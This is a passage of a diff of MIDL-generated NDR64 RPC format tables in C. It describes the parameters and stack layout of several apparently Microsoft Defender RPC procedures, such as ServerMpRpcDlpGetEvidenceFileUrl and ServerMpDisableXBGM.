*/ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag2054, + { + /* arg_8 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* arg_9 */ /* parameter arg_9 */ + &__midl_frag2367, + { + /* arg_9 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 80 /* 0x50 */, /* Stack offset */ + } +}; + +static const __midl_frag2017_t __midl_frag2017 = +{ +/* Proc207_ServerMpRpcDlpGetEvidenceFileUrl */ + { + /* Proc207_ServerMpRpcDlpGetEvidenceFileUrl */ /* procedure Proc207_ServerMpRpcDlpGetEvidenceFileUrl */ + (NDR64_UINT32) 17694784 /* 0x10e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 80 /* 0x50 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 9 /* 0x9 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2266, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2266, + { + /* arg_5 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2054, + { + /* arg_6 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2054, + { + /* arg_7 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag2367, + { + /* arg_8 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + } +}; + +static const __midl_frag2008_t __midl_frag2008 = +{ +/* Proc206_ServerMpRpcDeviceControlValidateDataDuplicationRemoteLocationConfiguration */ + { + /* Proc206_ServerMpRpcDeviceControlValidateDataDuplicationRemoteLocationConfiguration */ /* procedure Proc206_ServerMpRpcDeviceControlValidateDataDuplicationRemoteLocationConfiguration */ + (NDR64_UINT32) 17694784 /* 0x10e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2054, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1983_t __midl_frag1983 = +{ +/* Proc202_ServerMpGetNpSupportFile */ + { + /* Proc202_ServerMpGetNpSupportFile */ /* procedure Proc202_ServerMpGetNpSupportFile */ + (NDR64_UINT32) 17432640 /* 0x10a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2054, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1976_t __midl_frag1976 = +{ +/* Proc201_ServerMpRpcApplyTrustLabelAceForMDE */ + { + /* Proc201_ServerMpRpcApplyTrustLabelAceForMDE */ /* procedure Proc201_ServerMpRpcApplyTrustLabelAceForMDE */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1971_t __midl_frag1971 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ /* Offset */ + } +}; + +static const __midl_frag1970_t __midl_frag1970 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1971 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag1969_t __midl_frag1969 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1970 +}; + +static const __midl_frag1965_t __midl_frag1965 = +{ +/* Proc200_ServerMpRpcDeviceControlAuthenticateNetworkShare */ + { + /* Proc200_ServerMpRpcDeviceControlAuthenticateNetworkShare */ /* procedure Proc200_ServerMpRpcDeviceControlAuthenticateNetworkShare */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1969, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1955_t __midl_frag1955 = +{ +/* Proc199_ServerMpRpcDefenderPrintDataProvide */ + { + /* Proc199_ServerMpRpcDefenderPrintDataProvide */ /* procedure Proc199_ServerMpRpcDefenderPrintDataProvide */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2164, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1969, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1948_t __midl_frag1948 = +{ +/* *hyper */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 12 /* 0xc */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2164 +}; + +static const __midl_frag1942_t __midl_frag1942 = +{ +/* Proc198_ServerMpRpcDeviceControlPrintAccessCheck */ + { + /* Proc198_ServerMpRpcDeviceControlPrintAccessCheck */ /* procedure Proc198_ServerMpRpcDeviceControlPrintAccessCheck */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 144 /* 0x90 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2164, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2368, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag1925_t __midl_frag1925 = +{ +/* Proc196_ServerMpDisableXBGM */ + { + /* Proc196_ServerMpDisableXBGM */ /* procedure Proc196_ServerMpDisableXBGM */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 2 /* 0x2 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2367, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag1921_t __midl_frag1921 = +{ +/* Struct_4194_t */ + { + /* Struct_4194_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4194_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + } +}; + +static const __midl_frag1920_t __midl_frag1920 = +{ +/* *Struct_4194_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1921 +}; + +static const __midl_frag1918_t __midl_frag1918 = +{ +/* Proc195_ServerMpRpcSpynetGetExtendedHeaderInfo */ + { + /* Proc195_ServerMpRpcSpynetGetExtendedHeaderInfo */ /* procedure Proc195_ServerMpRpcSpynetGetExtendedHeaderInfo */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 112 /* 0x70 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, 